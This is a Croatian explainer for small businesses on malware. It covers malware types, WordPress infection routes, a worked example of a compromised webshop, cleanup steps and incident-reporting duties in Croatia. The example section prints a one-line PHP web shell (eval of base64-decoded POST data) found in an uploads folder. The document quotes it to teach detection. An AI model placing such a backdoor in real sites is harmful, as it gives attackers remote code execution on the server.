Malware je zajednički naziv za zlonamjerni softver: programe i kod koji bez vašeg znanja kradu podatke, šifriraju datoteke ili koriste vaše računalo i web stranicu za tuđe ciljeve. Naziv je složen od engleskih riječi malicious (zlonamjeran) i software. Mala tvrtka s njim se najčešće susretne na dva mjesta: na zaraženom računalu u uredu ili na zaraženoj web stranici koja posjetitelje šalje na tuđe adrese.
Vrste zlonamjernog softvera
Vrste se razlikuju po tome kako se šire i što rade kad uđu. Jedan napad često spaja nekoliko njih: trojanac otvori vrata, a kroz njih stigne ucjenjivački softver.
| Vrsta | Kako radi | Tipičan trag |
|---|---|---|
| Virus | kači se na postojeću datoteku i širi se kad je pokrenete | izmijenjeni programi, rušenje sustava |
| Crv | sam se širi mrežom kroz nezakrpanu ranjivost, bez ičijeg klika | spora mreža, zaraženo više računala odjednom |
| Trojanac | predstavlja se kao koristan program ili privitak, a napadaču otvara pristup | nepoznati procesi, prijave s čudnih lokacija |
| Ransomware | šifrira datoteke i traži otkupninu za ključ | datoteke s novim nastavkom i poruka s uputama za plaćanje |
| Spyware i keylogger | bilježi lozinke i sve što upišete | preuzeti računi, transakcije koje niste odobrili |
| Adware | nameće oglase i mijenja početnu stranicu preglednika | skočni prozori, nepoznata proširenja |
| Web shell | datoteka na serveru preko koje napadač upravlja stranicom | PHP datoteke na mjestima gdje im nije mjesto |
Zaražena računala i serveri često završe u botnetu, mreži uređaja koji na tuđu naredbu šalju spam ili sudjeluju u DDoS napadu. Vlasnik to obično sazna tek kad mu hosting blokira račun zbog slanja neželjene pošte.
Kako ulazi u tvrtku i na web stranicu
Na uredska računala malware najčešće stiže e-poštom. Lažni račun, obavijest o pošiljci ili poziv na sastanak traže da otvorite privitak ili kliknete poveznicu, što je klasičan phishing. Slijede piratski programi, USB stickovi nepoznatog porijekla i zastarjeli operacijski sustavi koji više ne dobivaju zakrpe.
Web stranice napadaju automatizirani programi. Oni ne biraju žrtvu nego verziju: pretražuju internet tražeći stranice s određenim dodatkom koji ima poznatu rupu i zaraze svaku na koju naiđu. Zato je pogrešno misliti da mala lokalna stranica nikome nije zanimljiva.
WordPress je čest cilj jer ga koristi velik dio weba, a ne zato što je jezgra sama po sebi slaba. Kod WordPress stranica gotovo uvijek se ponavljaju isti ulazi:
- zastarjeli plugin ili tema s javno objavljenom ranjivosti
- piratske kopije plaćenih dodataka, koje često stižu s već ugrađenim stražnjim vratima
- slaba ili ponovno korištena lozinka administratora bez dvofaktorske autentifikacije
- ukradeni podaci za FTP ili hosting, često s računala bivšeg suradnika
- više stranica na istom hosting računu, pa jedna zaražena zarazi i ostale
Primjer: što nađete na zaraženoj stranici
Recimo da vlasniku webshopa kupci javljaju da ih stranica s mobitela šalje na lažnu nagradnu igru, a on s računala vidi sve normalno. To je uvjetno preusmjeravanje: kod se aktivira samo za posjetitelje koji dolaze s Googlea ili s mobitela, kako bi ga vlasnik što kasnije primijetio. Pregled servera mogao bi izgledati ovako (izmišljen, ali tipičan primjer):
wp-content/uploads/2026/10/cache-img.php izmijenjeno 3.10. u 02:14
wp-includes/class-wp-locale-x.php izmijenjeno 3.10. u 02:14
.htaccess izmijenjeno 3.10. u 02:15
korisnik "wpsupport", uloga administrator stvoren 3.10. u 02:13
U prvoj datoteci stoji jedan red poput @eval(base64_decode($_POST['x']));, koji izvršava bilo koji kod koji napadač pošalje. Tri traga vrijede za gotovo svaku zarazu: PHP datoteka u mapi za slike, nekoliko datoteka izmijenjenih u istoj minuti usred noći i administratorski račun koji nitko iz tvrtke nije otvorio. Brisanje jedne datoteke zato ne pomaže, jer napadač gotovo uvijek ostavi više ulaza.
Ostali znakovi su vidljiviji. Google u Search Consoleu u izvještaju o sigurnosnim problemima prijavi hakirani sadržaj, zlonamjerni ili neželjeni softver ili društveni inženjering, a Chrome posjetiteljima prije ulaska prikaže crveno upozorenje. Promet padne preko noći, a u rezultatima pretrage pojave se stranice koje niste napisali, često na japanskom ili s reklamama za lijekove.
Što napraviti kad posumnjate na zarazu
- Prije čišćenja spremite kopiju trenutnog stanja i zapise s poslužitelja. To su dokazi, a trebat će i vama i onome kome incident prijavljujete.
- S čistog računala promijenite sve lozinke: administratore stranice, hosting, FTP, bazu podataka i e-poštu. Obrišite račune koje ne prepoznajete.
- Uklonite uzrok, ne samo simptom. Jezgru, teme i dodatke zamijenite svježim kopijama iz službenog izvora i ažurirajte sve što je zastarjelo.
- Ako čišćenje nije pouzdano, vratite backup iz vremena prije zaraze i odmah ga ažurirajte, inače ostaje otvorena ista rupa.
- Kad su svi problemi uklonjeni na svim stranicama, u Search Consoleu zatražite pregled i opišite što ste popravili. Google navodi da većina pregleda traje od nekoliko dana do nekoliko tjedana.
Prijava incidenta i zakonske obveze u Hrvatskoj
Za tvrtke i građane nadležan je Nacionalni CERT. On postupa kad je barem jedna strana u incidentu u Hrvatskoj, na .hr domeni ili u hrvatskom IP adresnom prostoru. Prijava ide na adresu incident@cert.hr, a CERT traži opis incidenta, datum i točno vrijeme s vremenskom zonom, izvorne zapise s poslužitelja te IP adrese napadnutog računala i računala s kojeg je napad došao. Državna tijela i jedinice lokalne samouprave prijavljuju Nacionalnom centru za kibernetičku sigurnost (NCSC). Pravilnik o .hr domenama usto predviđa da CARNET na zahtjev Nacionalnog CERT-a može privremeno deaktivirati domenu.
Ako je napadač došao do osobnih podataka, primjerice baze kupaca ili narudžbi, to je povreda osobnih podataka prema GDPR-u. Voditelj obrade o njoj obavještava AZOP najkasnije 72 sata nakon saznanja, osim ako povreda vjerojatno ne predstavlja rizik za ljude čiji su to podaci.
Tvrtke koje su obveznici NIS2 pravila imaju strože rokove. Direktiva traži rano upozorenje u roku od 24 sata od saznanja za značajan incident, obavijest o incidentu u roku od 72 sata i završno izvješće najkasnije mjesec dana nakon te obavijesti. Obveznici Zakona o kibernetičkoj sigurnosti prijavu podnose preko nacionalne platforme PiXi.
Kako se zaštititi
Većina zaraza koristi poznatu rupu za koju zakrpa već postoji, pa je redovito ažuriranje jezgre, dodataka, teme i PHP-a najveći pojedinačni korak. Dodatke uzimajte samo iz službenog repozitorija ili izravno od proizvođača. Svaki korisnik neka ima svoj račun s dvofaktorskom prijavom, a administratorska prava samo oni kojima stvarno trebaju.
Sigurnosna kopija mora biti izvan servera i takva da je napadač ne može obrisati, jer protiv ucjenjivačkog softvera na kraju pomaže samo ona. Vatrozid za web aplikacije zaustavlja dio automatiziranih napada prije nego što stignu do stranice. Na uredskim računalima vrijede ista pravila: ažuran sustav, antivirus i oprez s privicima. Nadzor, ažuriranja i čišćenje dio su održavanja stranice.
Malware i srodni pojmovi
Phishing je metoda prijevare, a malware je softver. Lažna poruka može vas navesti da sami upišete lozinku, i tada nikakav zlonamjerni program nije potreban, ili da otvorite privitak koji ga instalira. DDoS napad stranicu ruši izvana, zatrpavanjem zahtjevima, bez ikakvog koda na vašem serveru. Enkripcija štiti podatke od čitanja, ali ne sprječava ucjenjivački softver da ih šifrira još jednom, svojim ključem.
Česta pitanja
Kako provjeriti ima li moja stranica malware?
Prvo pogledajte izvještaj o sigurnosnim problemima u Google Search Consoleu. Zatim u Google upišite site:vasafirma.hr i potražite stranice koje niste objavili. Mrežni skeneri vide samo ono što se vidi izvana, a skeniranje datoteka na hostingu otkriva i skriveni kod.
Štiti li antivirus na računalu i moju web stranicu?
Ne. Stranica se nalazi na serveru hosting pružatelja, a antivirus štiti samo računalo na kojem je instaliran. Za stranicu su važni ažuriranja, zaštita prijave, vatrozid i nadzor na samom serveru.
Treba li platiti otkupninu kod ransomwarea?
Plaćanje ne jamči da ćete dobiti ispravan ključ, niti da se napadač neće vratiti. Prije bilo kakve odluke prijavite incident i provjerite imate li kopiju podataka do koje napadač nije mogao doći.
Može li se zaraza vratiti nakon čišćenja?
Može, i to se često događa. Ako ostane zastarjeli dodatak ili ukradena lozinka kroz koju je napadač ušao, ista zaraza vrati se za nekoliko dana. Zato se uz čišćenje uvijek mijenjaju lozinke i zatvara ulaz.
Povezani pojmovi
Phishing
Prijevara u kojoj napadač glumi banku, dostavu ili poznatu tvrtku kako bi od žrtve izvukao lozinku, podatke kartice ili uplatu na svoj račun.
Backup
Sigurnosna kopija datoteka i baze podataka web stranice, pohranjena izvan njezina servera. Ono što stranicu vraća nakon napada, kvara ili neuspjelog ažuriranja.
Plugin
Dodatak koji stranici daje novu funkciju bez pisanja koda, od obrasca do webshopa. Najveći ekosustav ima WordPress, s desecima tisuća pluginova.
WordPress
Najrašireniji CMS otvorenog koda, na kojem radi oko 39 % svih web stranica. Fleksibilan, ali traži redovito održavanje i kontrolu pluginova.
Hosting
Usluga koja drži datoteke i bazu vaše web stranice na serveru dostupnom 24/7. Snaga i lokacija servera utječu na TTFB, a time i na brzinu stranice.
Enkripcija
Pretvaranje podataka u oblik koji može pročitati samo onaj tko ima ključ. Štiti lozinke, plaćanja i poruke dok putuju internetom i dok su pohranjeni.
